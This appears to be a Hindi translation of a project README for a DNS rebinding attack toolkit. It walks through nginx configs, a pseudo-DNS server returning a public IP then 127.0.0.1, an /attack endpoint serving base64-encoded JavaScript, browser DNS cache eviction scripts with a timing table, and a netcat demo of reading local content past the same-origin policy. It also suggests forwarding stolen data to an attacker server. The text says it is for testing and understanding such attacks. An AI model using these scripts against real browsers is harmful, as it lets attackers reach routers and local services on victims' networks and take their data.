
DNS रीबाइंड टूल कस्टम स्क्रिप्ट्स के साथ
प्रेरित @tavisio से
यह प्रोजेक्ट एक ऑल-इन-वन टूलकिट है जो DNS रीबाइंडिंग हमलों का परीक्षण करने और इस प्रकार के हमलों को समझने के मेरे दृष्टिकोण के लिए है। इसमें एक वेब सर्वर और एक स्यूडो DNS सर्वर शामिल है जो केवल A क्वेरी का उत्तर देता है।
वेब सर्वर का रूट इंडेक्स एक साधारण वेब GUI के साथ हमले को कॉन्फ़िगर और चलाने की अनुमति देता है। देखें dnsrebindtool.43z.one।
वेब सर्वर को होस्ट करने के लिए एक बुनियादी nginx कॉन्फ़िग
server {
listen 80;
server_name dnsrebindtool.43z.one;
location / {
proxy_pass http://localhost:5000;
}
}
वेब सर्वर का /attack रूट GET पैरामीटर script पढ़ता है जो base64 एन्कोडेड जावास्क्रिप्ट प्रदान करना चाहिए और डीकोड किए गए कोड (setTimeout में लिपटा हुआ) को एक सामान्य HTML पेज में एम्बेड करके उत्तर देता है।
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk="
<html>
<script>
setTimeout(function(){
alert(1)
}, 3000)
</script>
</html
मेरे डोमेन 43z.one के रजिस्ट्रार में, मैंने सबडोमेन rebind के लिए एक NS रिकॉर्ड सेटअप किया जो इस टूल के होस्ट किए गए IP को इंगित करता है।
ns A 81.4.124.10
rebind NS ns.43z.one
DNS सर्वर केवल इस प्रारूप में A क्वेरी का उत्तर देता है
evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one
पहला भाग (सबडोमेन) सिर्फ एक यादृच्छिक आईडी है और इसे प्रत्येक हमले सत्र के लिए उत्पन्न किया जाना चाहिए (वेब GUI हर रीलोड पर ऐसा करता है)। दूसरे में वह IP आता है जिसे DNS सर्वर को अगले 2 सेकंड के लिए उत्तर देना चाहिए और तीसरे में वह IP जिसे सर्वर को उस समय बीत जाने के बाद उत्तर देना चाहिए।
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:20 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 81.4.124.10
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:23 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 127.0.0.1
अंतिम गायब टुकड़ा रीबाइंड डोमेन के लिए एक nginx कॉन्फ़िग है। केवल /attack रूट को टूल को पास किया जाना चाहिए, बाकी को त्रुटि के साथ उत्तर देना चाहिए। यह /attack को छोड़कर सभी रूट्स के साथ पोर्ट 80 पर अन्य सेवाओं पर हमला करने की अनुमति देता है। (जैसे /api/monitoring/stats एक एंडपॉइंट जो मेरा राउटर एक्सपोज़ करता है)
server {
listen 80;
server_name *.rebind.43z.one;
location / {
return 404;
}
location /attack {
proxy_pass http://localhost:5000/attack;
}
}
DNS कैश एविक्शन
var xhr = new XMLHttpRequest()
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// पहली बार ब्राउज़र इस डोमेन को देखता है तो वह DNS सर्वर से क्वेरी करता है
// और 81.4.124.10 प्राप्त करता है
// 2 सेकंड से अधिक सोएं
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// अभी भी 81.4.124.10 का उपयोग करता है (127.0.0.1 नहीं)
// कोई DNS क्वेरी नहीं हुई, ब्राउज़र ने कैश किए गए IP का उपयोग किया
यह इस प्रकार के हमले के लिए एक समस्या है। काम करने के लिए ब्राउज़र को दूसरा IP प्राप्त करने के लिए एक नई DNS क्वेरी जारी करनी होगी। सिद्धांत रूप में यदि आप अनुरोधों के बीच पर्याप्त प्रतीक्षा करते हैं तो एक नई क्वेरी होनी चाहिए। मेरे परीक्षण बताते हैं कि एक तेज़ लेकिन अधिक आक्रामक दृष्टिकोण है। यह बहुत संभव है कि यह सेटअप विशिष्ट है। और परीक्षण की आवश्यकता है मैंने WAIT वेरिएबल के लिए इष्टतम मान मापने के लिए निम्नलिखित स्क्रिप्ट का उपयोग किया। डेबियन buster/sid पर चल रहे Chromium 62.0.3202.89 पर परीक्षण किया गया।
var WAIT = 200
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, WAIT)
मैंने इसे एक्सप्लोर करने के लिए एक नया रेपो शुरू किया dns cache eviction tester
सब कुछ एक साथ रखकर और इसका परीक्षण करें।
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1
यह netcat इंस्टेंस कुछ सामग्री प्रस्तुत करता है जिसे मैं एक्सेस करना चाहता हूँ। मैं डिफ़ॉल्ट रीबाइंड डोमेन $RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one और डिफ़ॉल्ट स्क्रिप्ट रखता हूँ
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, 200)
dnsrebindtool.43z.one पर और अटैक बटन दबाएँ। पृष्ठभूमि में क्या हो रहा है यह देखने के लिए डेव टूल्स नेटवर्क टैब खोलें। मेरे लिए लगभग 60 सेकंड के बाद स्ट्रिंग TOPSECRET और लगा समय भर जाता है। DNS रीबाइंडिंग ने SOP को दरकिनार कर दिया। iframe से उल्लंघन किए गए डेटा को बाहर निकालने के लिए कोई Window.PostMessage() का उपयोग कर सकता है या स्क्रिप्ट के भीतर ही डेटा को किसी अन्य हमलावर सर्वर पर अग्रेषित करने वाला कोड शामिल कर सकता है।
| WAIT value in ms | requests chrome sends | Time until queries dns again |
|---|
| 0 | 700 | 60 |
| 10 | 700 | 60 |
| 100 | 600 | 63 |
| 120 | 500 | 63 |
| 150 | 400 | 63 |
| 180 | 400 | 75 |
| 200 | 300 | 63 |
| 220 | 300 | 69 |
| 250 | 300 | 78 |
| 280 | 300 | 87 |
| 300 | 200 | 63 |
| 320 | 200 | 67 |
| 340 | 200 | 71 |
| 360 | 200 | 75 |
| 380 | 200 | 79 |
| 400 | 200 | 83 |
| 1000 | 100 | 103 |